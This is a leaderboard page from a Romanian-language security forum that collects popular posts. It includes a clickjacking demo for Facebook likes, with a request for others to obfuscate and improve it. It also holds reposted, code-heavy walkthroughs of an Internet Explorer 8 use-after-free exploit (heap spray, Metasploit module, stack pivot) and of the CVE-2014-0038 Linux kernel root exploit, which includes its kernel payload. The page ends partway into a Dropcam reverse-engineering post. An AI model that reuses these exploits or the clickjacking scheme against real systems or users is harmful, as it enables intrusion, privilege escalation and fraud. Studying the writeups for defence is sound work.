Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 01/08/15 in all areas

  1. Sunt foarte bune pentru c? majoritatea oamenilor o s? se ?in? de ele (adic? ai pl?tit - nu po?i s? nu te ?ii de ele pentru c? ai pl?tit). Sunt destule firme care au nice to have : CCNA, CCNP, LPIC dar angajeaz? ?i f?r?. Dac? deja ?tii re?elistic? eu a? zice s? investe?ti banii în altceva.
    2 points
  2. Nu prea e RST power dar cel modificat de mine sa spunem ca s-ar incadra cat de cat. Nu e mult dar tot e ceva Contributia mea? Diferenta dintre asta: Facebook "click-jacking" demo (Original source - All credits go to those guys Si asta: RSTforums "click-jacking" demo (Nu comentati codul deoarece nu prea le am cu HTML sau CSS sau JS) Puteti face diferenta dintre cele doua surse si sa va adaptati pagina voastra dupa bunul plac. Puteti totodata sa pastrati varianta mea si sa schimbati doar link-ul (in ambele locuri) pentru a functiona replace-ul. Tocmai deaia nu l-am mutat intr-un js separat. Va rog sa postati aici orice imbunatatiri aduse codului. Ce as dori eu sa faceti? - Sa scoateti acel "Like" care apare atunci cand ti mouse-ul intr-o pozitie anume inainte de a apasa un click - Sa eliminati acel cursor de edit (I) care apare cand muti mouse-ul dintr-o parte in alta (fixed by me few minutes ago) - Sa inlocuiti degetul acela in loc de cursor normal (cu toate ca pe mine nu ma deranjeaza) - Sa creati o aplicatie pe facebook asemanatoare acesteia: 126964793995994. De ce? Deoarece tot clickjacking-ul se bazeaza pe ea - Sa creati un obfuscator privat sau sa faceti unu privat, public, sau cel putin pentru cei de pe forum Le puteam face si eu (cred) dar din pacate nu am timp. Pentru a merge testul trebuie sa dati dislike la https://www.facebook.com/RSTforums pe facebook apoi sa testati!!! Codul poate fi obfuscat (sunt multe gratis si proaste), e ok si daca-l obfuscati cu toolurile gratis de pe net, decat nimic.. Unii baieti de pe forum au obfuscatoare private dar na.. fiecare cu ce n-are Daca aveti intrebari shoot, va ajut cu ce pot. Edit: Pe firefox se misca mult mai bine deoarece eu l-am adaptat pentru firefox. Daca vreti sa fie ok si pentru Chrome trebuie sa mai modificati cate ceva, cine are idee despe ce e vorba se va prinde, nu va pot da tot mura in gura. Spor!
    1 point
  3. ?i-am trimis pe toate, vezi mailu bafta
    1 point
  4. @Che, Intoteauna incarca dll-ul dinamic(nu static). Dupa ce ai apelat functia LoadLibrary/LoadLibraryEx si handle-ul catre dll difera de NULL, apeleaza FreeLibrary. #include <windows.h> #include <stdio.h> typedef int (__cdecl *MYPROC)(LPWSTR); int main( void ) { HINSTANCE hinstLib; MYPROC ProcAdd; hinstLib = LoadLibrary("Path catre dll"); if (hinstLib != NULL) { ProcAdd = (MYPROC) GetProcAddress(hinstLib, "Numefunctie"); if (NULL != ProcAdd) { //apeleaza functia aici } FreeLibrary(hinstLib); } return 0; }
    1 point
  5. A use after free bug is when an application uses memory (usually on the heap) after it has been freed. In various scenarios, attackers can influence the values in that memory, and code at a later point will use it with a broken reference. This is an introductory post to use after free – walking through an exploit. Although there are a million posts about the class of bug, not many are hands on (and this one is). I’ve been spending some free time over the past month looking into use after free type bugs. I’m a noob in this space so please call out/forgive mistakes. Setup Install a windows xpsp3 VM without updates. I got the vulnerable version of IE from this totally legit looking site, Old Version of Internet Explorer 8.0 (XP) Download - OldApps.com. When installing, make sure you disconnect the internet connection so it doesn’t update, which it will do otherwise. We begin with this https://gist.github.com/wchen-r7/6758172, which should give us a crash that looks something like the following: (31c.8f0): Access violation - code c0000005 (!!! second chance !!!) eax=028601c5 ebx=001e8520 ecx=02ff0801 edx=020be80c esi=636397e4 edi=63662c78 eip=63662dca esp=020be7ec ebp=020be810 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 mshtml!CTreeNode::GetInterface+0xb6: 63662dca ff11 call dword ptr [ecx] ds:0023:02ff0801=???????? 0:008> ub mshtml!CTreeNode::GetInterface+0xa2: 63662db6 f3a7 repe cmps dword ptr [esi],dword ptr es:[edi] 63662db8 0f84c9f31800 je mshtml!CTreeNode::GetInterface+0x1e9 (637f2187) 63662dbe 8b03 mov eax,dword ptr [ebx] 63662dc0 8b08 mov ecx,dword ptr [eax] 63662dc2 8d55fc lea edx,[ebp-4] 63662dc5 52 push edx 63662dc6 ff750c push dword ptr [ebp+0Ch] 63662dc9 50 push eax 0:008> k ChildEBP RetAddr 020be810 63662d3a mshtml!CTreeNode::GetInterface+0xb6 020be828 635f3fe4 mshtml!CTreeNode::NodeAddRef+0x24 020be8ac 637fd38f mshtml!CDoc::PumpMessage+0x4a3 020be968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6 020be990 638e5dab mshtml!CElement::setCapture+0x50 ... Based on the crash, this is most likely either a use after free where ecx could be a pointer to a table of function pointers (although for me at this point it is difficult to tell the difference between this and a null ptr dereference). Investigation Let’s take a second to analyze. The first step is to turn on pageheap and user mode stack tracing for iexplore.exe using gflags. pageheap will monitor all heap memory operations, allowing us to see when our application is trying to access the freed memory immediately (it will crash sooner – a good writeup on what’s going on is here) and also see some additional info, such as the sizes of the allocations and stack traces involved. Running the same file, you will get a different crash now. (40c.a04): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=39fae8d0 ecx=335006a8 edx=39fae608 esi=00000000 edi=0d5b6fb0 eip=635f4478 esp=39fae820 ebp=39fae828 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CDoc::HasContainerCapture+0x14: 635f4478 8b0f mov ecx,dword ptr [edi] ds:0023:0d5b6fb0=???????? 0:008> k ChildEBP RetAddr 037ce828 635f5887 mshtml!CDoc::HasContainerCapture+0x14 037ce8ac 637fd38f mshtml!CDoc::PumpMessage+0x3e2 037ce968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6 037ce990 638e5dab mshtml!CElement::setCapture+0x50 We are crashing earlier, at the setCapture functions from our Javascript which is trying to reference memory that was freed in the earlier document.write. We can verify this with windbg. Using the info stored in heaplib, we can use this to find the size of the chunk 0:023> .printf "0x%x", 1000 - edi & 0xFFF 0x50 Because we want to replace a piece of memory 0x50 big, we can modify our script to add the following. <html> <script> lfh = new Array(20); for(i = 0; i < lfh.length; i++) { lfh[i] = document.createElement('div'); lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" } function trigger() { var id_0 = document.createElement("sup"); var id_1 = document.createElement("audio"); document.body.appendChild(id_0); document.body.appendChild(id_1); id_1.applyElement(id_0); id_0.onlosecapture=function(e) { document.write(""); tt = new Array(20); for(i = 0; i < tt.length; i++) { tt[i] = document.createElement('div'); tt[i].className = "\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424"; } } id_0['outerText']=""; id_0.setCapture(); id_1.setCapture(); } window.onload = function() { trigger(); } </script> </html> We will now get a crash that looks like this: (be0.9e4): Access violation - code c0000005 (!!! second chance !!!) eax=24242424 ebx=001e83e8 ecx=00000003 edx=00000000 esi=636397e4 edi=63662c78 eip=63662dc0 esp=020be7f8 ebp=020be810 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 mshtml!CTreeNode::GetInterface+0xac: 63662dc0 8b08 mov ecx,dword ptr [eax] ds:0023:24242424=???????? mshtml!CTreeNode::GetInterface+0xac: 63662dc0 8b08 mov ecx,dword ptr [eax] 63662dc2 8d55fc lea edx,[ebp-4] 63662dc5 52 push edx 63662dc6 ff750c push dword ptr [ebp+0Ch] 63662dc9 50 push eax 63662dca ff11 call dword ptr [ecx] 63662dcc 8bf0 mov esi,eax 63662dce 85f6 test esi,esi This is just a few instructions before our call [ecx]. So to get EIP, we need to point eax to a valid value that points to where we want to start executing. We should be able to do this with a heap spray (maybe not ideal, but easy), then a stack pivot to this address where we can execute our ROP. Because we are modifying a metasploit payload, let’s just do everything the metasploit way, which I’ll cover in the next section. Metasploit browser Detection, Heap Spray, and ROP Because we are modifying a metasploit module, let’s just use all their builtin stuff and do this the metasploit way. First thing we need to do is detect the browser, which is described here. In the msf module, there was existing parameters to detect windows 7 IE9, so we have to configure it to also accept windows XP with IE8. 'Targets' => [ [ 'Automatic', {} ], [ 'Windows 7 with Office 2007|2010', { :os_name => /win/i, :ua_name => HttpClients::IE, :ua_ver => "9.0", :os_flavor => "7", :office => /2007|2010/ } ], [ 'Windows XP with IE 8', { :os_name => "Windows XP", :ua_name => HttpClients::IE, :ua_ver => "8.0"; } ] ], Heap spraying is the process of throwing a bunch of crap on the heap in a predictable way. Again, metasploit can do this for us. This is described here. We can also get rid of our lfh allocation at the beginning because js_property_spray will take care of it for us. The docs say a reliable address is 0x20302020, so we’ll just use that. At this point you should be able to have eip control (eip=0x414141) using something like this def get_exploit_html_ie8(cli, target_info) #address containing our heap spray is 0x20302020 spray_addr = "\\u2020\\u2030" #size to fill after free is 0x50 free_fill = spray_addr + "\\u2424" * (((0x50-1)/2)-2) %Q| <html> <script> #{js_property_spray} tt = new Array(30); function trigger() { var id_0 = document.createElement("sup"); var id_1 = document.createElement("audio"); document.body.appendChild(id_0); document.body.appendChild(id_1); id_1.applyElement(id_0); id_0.onlosecapture=function(e) { document.write(""); for(i = 0; i < tt.length; i++) { tt[i] = document.createElement('div'); tt[i].className ="#{free_fill}"; } var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747"); //this is mangled thanks to wordpress, but is just escaped js strings sprayHeap({shellcode:s}); } id_0['outerText']=""; id_0.setCapture(); id_1.setCapture(); } window.onload = function() { trigger(); } </script> </html> | end Finally, we just need rop, which msf also has (if you’re interested in learning how to ROP, this is a good tutorial). ROP with heap sprays are generally really easy (as long as you know a base address). This is not like a stack overflow where we need to do shenanigans, we just put stuff in order on our heap spray and we don’t have to worry about null bytes, etc etc. Nevertheless, metasploit has builtin RopDB for Windows XP where the addresses are constant, using msvcrt. https://dev.metasploit.com/api/Rex/Exploitation/RopDb.html. To connect everything, we just need a stack pivot, meaning we need esp to point to our heap that we control. right now eax points to our heap of course, so we can look for something that moves eax to esp (there are several ways to do this, mov esp, eax | xchg eax, esp | push eax then pop esp, etc.). Let’s just look in msvcrt since we’re using that dll to virtualprotect later anyway. I usually use rp++ for this although I had mona loaded so I did search through that (unfortunately not able to find something I could use in msvcrt with mona). Searching for output with rp++ I found 0x77c3868a xchg eax, esp rcr dword [ebx-0x75], 0xFFFFFFC1 pop ebp ret This will work great. Now just put them in the right order, and we have our exploit! I put in a pull request for this into metasploit so you can see the “final” version here, although it hasn’t yet been reviewed or accepted at the time I’m writing this. Of course this is largely useless for practical purposes, but it is a pretty good way to learn the basics of use after free IMO. Many vulns affect multiple versions of a browser, so it’s a fun exercise to port the bugs to different versions. Source
    1 point
  6. The Vulnerable Linux Kernel Code The bug is located in the x32 version of the recvmmsg syscall in the Linux kernel. The recvmmsg syscall allows for receiving multiple messages on a socket with just one syscall (and can thus increase performance in certain situations). To be clear the x32 ABI (not to be confused with the X86 ABI) is a particular ABI and that is not enabled by default on all distributions. However, recent Ubuntu-based distributions as well as Arch Linux ones have enabled it. For more details on the x32 ABI refer to [2]. In short x32 is an ABI which takes advantage of the 64-bit environment while using 32bit pointers for less overhead. However, the x32 system calls can also be accessed by standard 64bit applications by setting adding the value of __X32_SYSCALL_BIT to 64bit system call numbers. The CVE 2014-0038 bug is a fairly classic case of trusting user supplied input. The timeout pointer in the function below is passed directly from user space to __sys_recvmmsg, which expects a trusted pointer, without first copying the value of the user supplied pointer to a controlled kernel space variable. The following is the code which handles the recvmmsg syscall for the x32 ABI (net/compat.c): asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg, unsigned int vlen, unsigned int flags, struct compat_timespec __user *timeout) { int datagrams; struct timespec ktspec; if (flags & MSG_CMSG_COMPAT) return -EINVAL; if (COMPAT_USE_64BIT_TIME) /* set when doing the x32 syscall, the x32 ABI uses 64bit time values */ return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, flags | MSG_CMSG_COMPAT, (struct timespec *) timeout); /* ... */ Pointers passed from user space are marked with the __user attribute to make sure they are only accessed through the user space API functions (e.g. copy_to_user, copy_from_user, ...). In this case though, the timeout parameter is cast directly to a type not containing the __user attribute, and then passed on to __sys_recvmmsg without any further checks on it. Compare this to what the normal x86_64 syscall does: SYSCALL_DEFINE5(recvmmsg, int, fd, struct mmsghdr __user *, mmsg, unsigned int, vlen, unsigned int, flags, struct timespec __user *, timeout) { int datagrams; struct timespec timeout_sys; if (flags & MSG_CMSG_COMPAT) return -EINVAL; if (!timeout) return __sys_recvmmsg(fd, mmsg, vlen, flags, NULL); /* -1- */ if (copy_from_user(&timeout_sys, timeout, sizeof(timeout_sys))) return -EFAULT; datagrams = __sys_recvmmsg(fd, mmsg, vlen, flags, &timeout_sys); if (datagrams > 0 && copy_to_user(timeout, &timeout_sys, sizeof(timeout_sys))) datagrams = -EFAULT; return datagrams; } At -1- the timeout struct is copied into a kernel space variable before passing it to __sys_recvmmsg. That's the correct way to do it. Digging Deeper Into the Vulnerability First things first: the timespec structure, defined in include/uapi/linux/time.h: struct timespec { long tv_sec; /* seconds */ long tv_nsec; /* nanoseconds */ }; Now let's take a closer look at what happens to the timeout pointer passed from user space. From compat_sys_recvmmsg the pointer is passed to __sys_recvmmsg, located in net/socket.c: int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen, unsigned int flags, struct timespec *timeout) { if (timeout && /* -1- */ poll_select_set_timeout(&end_time, timeout->tv_sec, timeout->tv_nsec)) return -EINVAL; /* ... */ while (datagrams < vlen) { /* -2- */ /* * Basically just a loop calling recvmsg * until the timeout is hit or vlen messages have * been received. */ if (MSG_CMSG_COMPAT & flags) { err = ___sys_recvmsg(sock, (struct msghdr __user *)compat_entry, &msg_sys, flags & ~MSG_WAITFORONE, datagrams); /* ... */ } else { err = ___sys_recvmsg(sock, (struct msghdr __user *)entry, &msg_sys, flags & ~MSG_WAITFORONE, datagrams); /* ... */ } /* ... */ if (timeout) { ktime_get_ts(timeout); // put current time into *timeout // then subtract that from end_time *timeout = timespec_sub(end_time, *timeout); /* -3- */ if (timeout->tv_sec < 0) { timeout->tv_sec = timeout->tv_nsec = 0; /* -4- */ break; } /* Timeout, return less than vlen datagrams */ if (timeout->tv_nsec == 0 && timeout->tv_sec == 0) break; } /* ... */ The first thing to note here is the block at -1-. Here poll_select_set_timeout will set end_time to the time when the timeout will be over. More importantly, it will check whether timeout points to a valid timespec struct. If it does not then it will return -EINVAL and thus cause the syscall to fail. Here is the function performing the check (include/linux/time.h): static inline bool timespec_valid(const struct timespec *ts) { /* Dates before 1970 are bogus */ if (ts->tv_sec < 0) /* -5- */ return false; /* Can't have more nanoseconds then a second */ if ((unsigned long)ts->tv_nsec >= NSEC_PER_SEC) /* -6- */ // include/linux/time.h: #define NSEC_PER_SEC 1000000000L return false; return true; } At -5- the first long, tv_sec, is checked to be a positive number, meaning it's most significant byte must be smaller than 0x8, and at -6- the tv_nsec member is checked to be smaller than 1,000,000,000 (= 1 second), so tv_nsec must be between 0 and 0x000000003b9aca00. Keep this in mind as we move on. Next the code enters the loop at -2-, waiting for incoming packets. After a packet has been received by __sys_recvmsg the timeout struct is updated to contain the time left (-3-). If that value is < 0, both tv_sec and tv_nsec are set to zero at -4- and the function returns. The loop will thus exit if either vlen messages have been received or the timeout is hit after receiving a packet. Do note the call will only return after a packet has been received, even if the timeout has already been hit. By sending packets to ourselves from a forked child, we can enter the code that updates the timeout at any time. And by setting vlen to 1, we can guarantee that timeout is only written to once. The Exploitation vector So what can we do with this situation from an exploitation perspective? The basic idea that comes to mind is pointing the timeout pointer to sensitive kernel data with known content and waiting a specific amount of time until sending a UDP packet (thus reaching the block at -3- in the code above). This will cause the function to update the timeout structure and return. In other words we will make the kernel treat some of its own memory (preferably a function pointer) as the timeout argument and thus cause the kernel to overwrite part of its own memory. This allows us to write a nearly arbitrary value to an address of our choosing (we have 64bit pointers so we can address the whole address space), as long as the original value is known and there is a valid timespec struct at that address. Since kernel pointers always have the high 4 bytes set to 0xff they make a good target. Imagine the following situation: pointer: 0xffffffff44434241 uninitialized data (little endian) +-------------------------+-------------------------+-------------------------+ | 41 42 43 44 ff ff ff ff | 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 | +-------------------------+-------------------------+-------------------------+ ^ point timeout here [-------- tv_sec -------] [------- tv_nsec -------] If the address of the last (most significant) byte of the pointer is passed as a timeout, waiting >= 255 seconds will clear that byte without mangling up adjacent data as the whole block is set to zero. Repeating this for the next two bytes will allow us to point that pointer into user space (this is what the original version of the exploit did). To speed things up the bytes can be cleared in parallel. For this to work the time between the syscall and the incoming packet must be > 254s and < 255s. This will cause the recvmmsg function to write garbage to the following two longs, as they are treated as tv_nsec value and will then contain the remaining nanoseconds of the timeout. A Walk-through of the Proof-of-concept Exploit Now let's start with a brief overview on the steps the exploit takes to get root privileges. The exploit follows the common scheme of tricking the kernel into executing code in user space memory. This has quite a few advantages, including being able to write the payload in nicely readable C code. For a more detailed discussion of this technique refer to [3]. Here are the basic steps: Allocate executable and writable memory at the address to which the kernel will jump, and copy the kernel payload at the end of that region. Target the release function pointer of the ptmx_fops structure located in the .data section which is writable kernel memory. Zero out the three most significant bytes, thereby turning it into a pointer inside of the region mapped by user space. Open /dev/ptmx and close it, causing ptmx_fops->release() to be called. Check if root privileges were obtained and start a shell. Let's examine each of those steps in more detail. Resolving symbols The exploit needs four kernel symbols to be resolved, those are #define PTMX_FOPS 0xffffffff81fb30c0LL #define TTY_RELEASE 0xffffffff8142fec0LL #define COMMIT_CREDS 0xffffffff8108ad40LL #define PREPARE_KERNEL_CRED 0xffffffff8108b010LL They can be taken from /boot/System.map or the decompressed kernel image via nm. The PoC linked at the end of this post also contains a script (build.sh) which will help resolving with the symbols. The README in the PoC provides details on how to use it. Setting things up /* Prepare payload... */ printf("preparing payload buffer...\n"); code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0); memset((void*)code, 0x90, PAYLOADSIZE); code += PAYLOADSIZE - 1024; memcpy((void*)code, &kernel_payload, 1024); The first thing the exploit does is allocate executable and writable memory at a fixed address. TTY_RELEASE is the original value of the targeted pointer in kernel space. Since the three most significant bytes of that pointer will be cleared, a mask of 0x000000fffffff000 has to be applied to it. The memory region is then filled with nops and the kernel payload (discussed later) is copied into it. The target /* * Now clear the three most significant bytes of the fops pointer * to the release function. * This will make it point into the memory region mapped above. */ printf("changing kernel pointer to point into controlled buffer...\n"); target = PTMX_FOPS + FOPS_RELEASE_OFFSET; for (i = 0; i < 3; i++) { pids[i] = fork(); if (pids[i] == 0) { zero_out(target + (5 + i)); exit(EXIT_SUCCESS); } sleep(1); } The pointer targeted in the exploit is the release function pointer of the ptmx_fops structure, which originally points to tty_release. In the Linux kernel the file_operations structure contains a bunch of function pointers to be executed when user space accesses the associated file. Examples include open, release, write, ... ptmx_fops->release is called when the last reference to that file descriptor is released. The two pointers following release are not initialized (= 0) and will thus be valid tv_nsec values. The situation is then similar to the one depicted in the diagram shown in the "Exploitation Vector" section. User space can map 0x000000ffxxxxxxxx, meaning only 3 of the 4 high order bytes of the pointer need to be cleared. To speed things up three additional processes are forked, each one clearing a byte of the pointer. (Note: The sleep(1) between each fork is done here to guarantee a different seed for srand() in each child. This is needed so every child opens a different UDP port.) Exploiting the bug void zero_out(long addr) { int sockfd, retval, port, pid, i; struct sockaddr_in sa; char buf[BUFSIZE]; struct mmsghdr msgs; struct iovec iovecs; srand(time(NULL)); port = 1024 + (rand() % (0x10000 - 1024)); sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd == -1) { perror("socket()"); exit(EXIT_FAILURE); } sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(port); if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) { perror("bind()"); exit(EXIT_FAILURE); } memset(&msgs, 0, sizeof(msgs)); iovecs.iov_base = buf; iovecs.iov_len = BUFSIZE; msgs.msg_hdr.msg_iov = &iovecs; msgs.msg_hdr.msg_iovlen = 1; /* * start a separate process to send a UDP message after 255 seconds so the syscall returns, * but not after updating the timeout struct and writing the remaining time into it. * 0xff - 255 seconds = 0x00 */ printf("clearing byte at 0x%lx\n", addr); pid = fork(); if (pid == 0) { memset(buf, 0x41, BUFSIZE); if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { perror("socket()"); exit(EXIT_FAILURE); } sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(port); sleep(0xfe); printf("waking up parent...\n"); sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa)); /* -1- */ exit(EXIT_SUCCESS); } else if (pid > 0) { retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr); /* -2- */ if (retval == -1) { printf("address can't be written to, not a valid timespec struct!\n"); exit(EXIT_FAILURE); } waitpid(pid, 0, 0); printf("byte zeroed out\n"); } else { perror("fork()"); exit(EXIT_FAILURE); } } This is the key part of the exploit, we're abusing the bug as discussed in the "Exploitation Vector" section. After a lot of code to set up the structures needed for the syscall, the passed address is used as the least significant byte of the timeout pointer (-2-) and the vulnerable syscall is called. At -2- the forked child process will wake its parent so the time difference between the syscall and the incoming packet is between 254 and 255 seconds, thus setting the least significant byte of the tv_sec member to 0. Keep in mind that this function is executed by three child processes. The memory at the address of ptmx_fops->release roughly looks like this at the beginning: release pointer uninitialized uninitialized +-------------------------+-------------------------+-------------------------+ | c0 fe 42 81 ff ff ff ff | 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 | +-------------------------+-------------------------+-------------------------+ ^ address for child 3 ^ address for child 2 ^ address for child 1 Turning it into: release pointer mangled mangled +-------------------------+-------------------------+-------------------------+ | c0 fe 42 81 ff 00 00 00 | 00 00 00 00 00 xx xx xx | xx xx xx 00 00 00 00 00 | +-------------------------+-------------------------+-------------------------+ ptmx_fops->release now points into the memory region that was mapped at the beginning. Code execution in Ring 0 /* ... and trigger. */ printf("releasing file descriptor to call manipulated pointer in kernel mode...\n"); pwn = open("/dev/ptmx", 'r'); close(pwn); At this point we are ready to execute our payload in ring 0 by opening a file descriptor to /dev/ptmx and immediately closing it, causing the kernel to call ptmx_fops->release in the current context. Now if all goes well (see restrictions further down) the kernel will jump to our code, change the creds structure of our process to a new one with root privileges (and all capabilities) and return to user mode. Let's take a closer look at how that is done next. Kernel payload int __attribute__((regparm(3))) kernel_payload(void* foo, void* bar) { _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; /* restore function pointer and following two longs */ *((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1; *((long*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 8)) = 0; *((long*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 16)) = 0; /* escalate to root */ commit_creds(prepare_kernel_cred(0)); return -1; } This is the function copied into the end of the allocated buffer at the beginning. The kernel will execute this code during the close syscall and then return back to user space. The kernel payload uses an old approach which has been documented by Brad Spengler (Spender) in his enlightenment framework [4] (see exploit.c). Basically, after restoring the manipulated memory region, a new cred structure with full privileges is allocated by prepare_kernel_cred and afterwards passed to commit_creds to install it upon the current task. Since the exploit needs to resolve the tty_release and ptmx_fops symbols anyways this approach was chosen. It would also be possible to change the credentials without calling any helper functions in the kernel. This can be done by looking for a pointer to the cred structure stored in the task_struct for the current process, which can in turn be found at the beginning of the kernel stack. By searching for memory that contains the current process uid and gid and setting those to zero, root privileges can be acquired as well. For an example demonstrating this technique refer to the semtex.c exploit [5]. Finishing if (getuid() != 0) { printf("failed to get root \n"); exit(EXIT_FAILURE); } printf("got root, enjoy \n"); return execl("/bin/bash", "-sh", NULL); Some notes on reliability Since the exploit relies on timing it might be unreliable if the exploited system is under very heavy load. If the kernel fails to reschedule the child process to wake up its parent on time (meaning within a second) the pointer will get corrupted and the exploit will fail, causing a kernel Oops. In this case a non-threaded exploit which clears the bytes sequentially can be used. You'd want to wait 255 seconds for each byte and this guarantees that the whole timespec structure will be zeroed out when waking up the parent. This approach takes 3 times longer as the parallel version though, so approximately 13 minutes [6]. I have tested the parallel version on a system under heavy load (100% CPU usage) multiple times and have not seen the exploit fail, so I assume this to be more of a theoretical issue (setting up the sockets and rescheduling a process within one second is really no big deal, even under stress). The original non-threaded version of this exploit in theory works reliably vs. the threaded version, but does take a while to execute. Exploit restrictions Since the exploit tricks the kernel into executing user space pages it can be stopped by SMEP [7]. SMEP will cause the CPU to generate a fault if it is executing code from a user space page in kernel mode. Think of SMEP as kind of a DEP/NX for the kernel. To bypass SMEP the 20th bit of CR4 can be cleared through a ROP chain. Afterwards executing code in user space is possible. This technique is described in further detail in [8]. If no gadgets can be found for writing to the CR4 register exploitation would still be possible by writing the payload in ROP entirely. Also see the post in [9]. That's it, find the full proof-of-concept exploit code at: https://github.com/saelo/cve-2014-0038 If you have interesting optimizations or alternative implementations let us know via email info/at\includesecurity.com References oss-sec: Linux 3.4+: arbitrary write with CONFIG_X86_X32 (CVE-2014-0038) x32 ABI - Wikipedia, the free encyclopedia http://www.phrack.org/issues.html?id=6&issue=64 http://grsecurity.net/~spender/exploits/enlightenment.tgz Linux PERF_EVENTS Local Root ? Packet Storm [C] recvmmsg.c - Pastebin.com Control register - Wikipedia, the free encyclopedia Positive Research Center: Bypassing Intel SMEP on Windows 8 x64 Using Return-oriented Programming Security Research by Dan Rosenberg Source
    1 point
  7. The "Internet of Things" marketplace has been blowing up recently, and towards the end of last year we began seeing a lot of demand for security assessments of these types of platforms. To practice, we wanted to reverse engineer a consumer platform from scratch and look around for security vulnerabilities. What follows is the first of a three-part series on what we were able to do with the Dropcam. Through this research, we found the Dropcam has a pretty solid security model, so no 0day in this post. That being said, this type of reversing work is the most important prerequisite for finding security vulnerabilities, so we thought it would be great to share our findings and techniques with the security and reverse engineering communities. Hope you enjoy, and leave a comment if you have any further ideas to extend what we're showing here. For those that don't know, the Dropcam is a cloud-based webcam. It connects to the internet over WiFi, and users interact through it entirely via the dropcam.com web interface, or through a mobile app. We purchased some Dropcam cameras to find out more about how it works. In this series, you'll get an idea of how the process of reversing a device like the Dropcam works including the tools we use and how we use them. This project ultimately ends up going into hardware hacking, but as you'll see below, you can often gather a lot of information about how a device works before you open the case. Everything in this first post was done without taking the Dropcam apart, while our next posts will discuss taking it apart and some hardware hacking basics. Getting the Dropcam connected to the WiFi As I was opening the Dropcam box, one of the first questions I asked was: how does it set up its WiFi connection? It's supposed to connect to your WiFi and present a configuration interface through dropcam.com, but it must have to learn at least your WiFi SSID first to do that. The documentation tells you to plug the USB cable into your computer and run through setup. When you plug your Dropcam's USB cable into your computer, the camera enumerates as a USB mass storage device with a few files on it, including setup binaries for both MacOS and Windows: $ find . . ./.dcdata ./.dcdata/volume.ico ./.dcdata/offset ./Setup Dropcam (Macintosh).app ./Setup Dropcam (Macintosh).app/Contents ./Setup Dropcam (Macintosh).app/Contents/Resources ./Setup Dropcam (Macintosh).app/Contents/Resources/English.lproj ./Setup Dropcam (Macintosh).app/Contents/Resources/English.lproj/InfoPlist.strings ./Setup Dropcam (Macintosh).app/Contents/Resources/OSXSetup.icns ./Setup Dropcam (Macintosh).app/Contents/Info.plist ./Setup Dropcam (Macintosh).app/Contents/PkgInfo ./Setup Dropcam (Macintosh).app/Contents/MacOS ./Setup Dropcam (Macintosh).app/Contents/MacOS/Setup Dropcam (Macintosh) ./Setup Dropcam (Macintosh).app/winicon.ico ./Setup Dropcam (Macintosh).app/desktop.ini ./Setup Dropcam (Windows).exe ./._Setup Dropcam (Windows).exe ./.VolumeIcon.icns ./._.VolumeIcon.icns ./._? ./autorun.inf ./.hidden Here are a few lines from the output of lsusb on the host computer: ID 0525:a4a5 Netchip Technology, Inc. Linux-USB File Storage Gadget ... idVendor 0x0525 Netchip Technology, Inc. idProduct 0xa4a5 Linux-USB File Storage Gadget ... iManufacturer 2 Linux 2.6.38.8 with ambarella_udc iProduct 3 Dropcam Setup ... When I ran the setup binary, it opened a web browser to https://www.dropcam.com/setup/d024378182da4f37b0e981946989f40a?cv=140&fv=15&hv=3&platform=windows The 32-character string in the URL is the unique identifier of my Dropcam. As you go through the web interface to set up the Dropcam, your browser eventually gets sent a JSON blob from a Dropcam web server containing a list of network SSIDs, BSSIDs, and other details of wireless networks near the camera. This data is presented in a list so that the user can pick which access point they want their camera to connect to. How does the server get the list of WiFi networks? It must be communicating with the Dropcam, but at first it's not clear how. When the device is plugged in to a USB port, the Dropcam appears only as a mass storage device so somehow a mass storage device is talking to the Internet through my computer? To investigate further, I set up the testing environment depicted here: The executable ran in a Windows virtual machine with Process Monitor from the Sysinternals Suite inspecting its behavior, while I captured USB traffic and network traffic from the setup executable using two instances of Wireshark on my Linux host machine. The setup executable also started the Chrome browser in the Windows VM, which I configured to use Burp suite as a proxy. Process Monitor gave me an initial idea of what was going on: The setup binary is first reading the .dcdata/offset file (1), then doing reads and writes directly to the "disk" (2). The .dcdata/offset file is simply a text file with a number in it: $ cat .dcdata/offset 1312768 You 